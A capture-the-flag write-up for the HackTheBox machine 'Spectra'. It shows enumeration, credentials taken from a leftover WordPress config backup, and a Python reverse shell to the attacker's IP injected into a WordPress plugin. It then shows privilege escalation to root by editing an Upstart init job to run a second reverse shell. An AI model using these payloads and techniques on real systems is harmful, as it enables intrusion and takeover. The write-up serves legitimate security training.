Spectra - [HTB]
Table of Contents
Introduction
Spectra is an easy ChromeOS HackTheBox machine where the attacker will have to explore the wordpress testing files looking for the admin's credentials. Then, modifying one of the plugins we can get access to the machine obtaining the katie's credentials. Finally, the attacker will have to modify init files retrieving a reverse shell as root.
Enumeration
As always, let's start finding all opened ports in the machine with nmap.
kali@kali:$ sudo nmap -sS -T5 -p- -n 10.10.10.229 -oN AllPorts.txt
[sudo] password for kali:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-01 07:52 EST
Nmap scan report for 10.10.10.229
Host is up (0.039s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 36.70 seconds
Then, we continue with a deeper scan of every opened port, getting more information about each service.
kali@kali:$ sudo nmap -sC -sV -n -T5 -p22,80,3306 -oN PortsDepth.txt 10.10.10.229
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-01 07:54 EST
Nmap scan report for 10.10.10.229
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
|_ 4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp open http nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open mysql MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.26 seconds
In the port 80 there is an HTML web page with two links. Both, pointing to the domain spectra.htb
.
However, if we click in one of the links appears the domain www.spectra.htb
.
So, I added both links into the /etc/hosts
file avoiding failures later on. Getting access to a wordpress blog (/main/
) that contains a post written by the user administrator
, and what it seems a testing web page (/testing/
).
Looking inside the testing
directory we can see that there is a wordpress directory structure in there.
Furthermore, there is a file with the extension .save
, which shouldn't exists in the first place. So, looking inside the wp-config.php.save with the Firefox view-source utility we can find the database credentials.
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );
/** MySQL database username */
define( 'DB_USER', 'devtest' );
/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
Explotation
The password can be used to login as administrator
in the wordpress blog.
Note: Do not worry about the junky interface, we are not gonna use it much longer.
Because, the wordpress Theme Editor can not help us in order to get a reverse shell, we need to use the <strong data-reactroot="">Plugin Editor</strong>. Thus we can modified the behaviour of Akismet plugin so we can get a reverse shell.
For doing so, put a listening port at 4444 on your machine, click on "Plugin Editor", modify the file as follows (DO NOT FORGET TO ADD YOUR IP) and save its changes.
<?php
system("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.X.X\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'");
Then, click on Installed plugins and activate the Akismet Anti-Spam plugin, obtaining a shell as nginx
.
kali@kali:$ sudo nc -nlvp 4444
[sudo] password for kali:
listening on [any] 4444 ...
connect to [10.10.15.26] from (UNKNOWN) [10.10.10.229] 45956
$ id
uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)
Privilege Escalation 1
Looking inside the /opt
folder there is a file named autologin.conf.orig
that seems to store a password inside a file named passwd
, which will be stored in the folders /mnt/stateful_partition/etc/autologin
and /etc/autologin
password inside.
nginx@spectra /usr/local/share/nginx/html/main/wp-admin $ cd /opt
nginx@spectra /opt $ ls
VirtualBox broadcom eeti neverware tpm2
autologin.conf.orig displaylink google tpm1
nginx@spectra /opt $ cat autologin.conf.orig
description "Automatic login at boot"
author "chromium-os-dev@chromium.org"
# After boot-complete starts, the login prompt is visible and is accepting
# input.
start on started boot-complete
script
passwd=
# Read password from file. The file may optionally end with a newline.
for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
if [ -e "${dir}/passwd" ]; then
passwd="$(cat "${dir}/passwd")"
break
fi
done
[...]
Nonetheless, just the second path exists, so there is only one way to retrieve the password.
nginx@spectra /opt $ cat /etc/autologin/passwd
SummerHereWeCome!!
This password, can be used to gain access through SSH as the user katie
.
Privilege Escalation 2
The user katie, which is a developer, can execute /sbin/initctl
as root.
Note: initctl allows a system administrator to communicate and interact with the Upstart init daemon.
katie@spectra ~ $ id
uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)
katie@spectra ~ $ sudo -l
User katie may run the following commands on spectra:
(ALL) SETENV: NOPASSWD: /sbin/initctl
Listing all the jobs we can see several testX
jobs.
katie@spectra ~ $ sudo /sbin/initctl list
test stop/waiting
test1 stop/waiting
test7 stop/waiting
test6 stop/waiting
test5 stop/waiting
test4 stop/waiting
test10 stop/waiting
attestationd start/running, process 1710
trace_marker-test stop/waiting
test9 stop/waiting
test8 stop/waiting
test3 stop/waiting
test2 stop/waiting
The configuration for the jobs are at /etc/init
.
katie@spectra ~ $ ls /etc/init | grep test
attestationd.conf
test.conf
test1.conf
test10.conf
test2.conf
test3.conf
test4.conf
test5.conf
test6.conf
test7.conf
test8.conf
test9.conf
trace_marker-test.conf
Looking inside the file test.conf
, we can see that is executing the file /srv/nodetest.js
file. So, as we did in the wordpress plugin, we can modify that line to execute a python command that spawns a reverse shell.
katie@spectra ~ $ cat /etc/init/test.conf
description "Test node.js server"
author "katie"
start on filesystem or runlevel [2345]
stop on shutdown
script
export HOME="/srv"
echo $$ > /var/run/nodetest.pid
exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js
end script
pre-start script
echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script
pre-stop script
rm /var/run/nodetest.pid
echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script
Furthermore, we can edit it because we form part of the group developer.
katie@spectra ~ $ ls -la /etc/init/test.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test.conf
In order to get a reverse shell, we need to modify the file /etc/init/test.conf
as follows and execute the command sudo /sbin/initctl start test
, obtaining the root flag.
description "Test node.js server"
author "katie"
start on filesystem or runlevel [2345]
stop on shutdown
script
export HOME="/srv"
echo $$ > /var/run/nodetest.pid
exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.26",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
end script
pre-start script
echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script
pre-stop script
rm /var/run/nodetest.pid
echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script
listening on [any] 4444 ...
connect to [10.10.15.26] from (UNKNOWN) [10.10.10.229] 40748
# id
uid=0(root) gid=0(root) groups=0(root)
# cat root.txt
[CENSORED]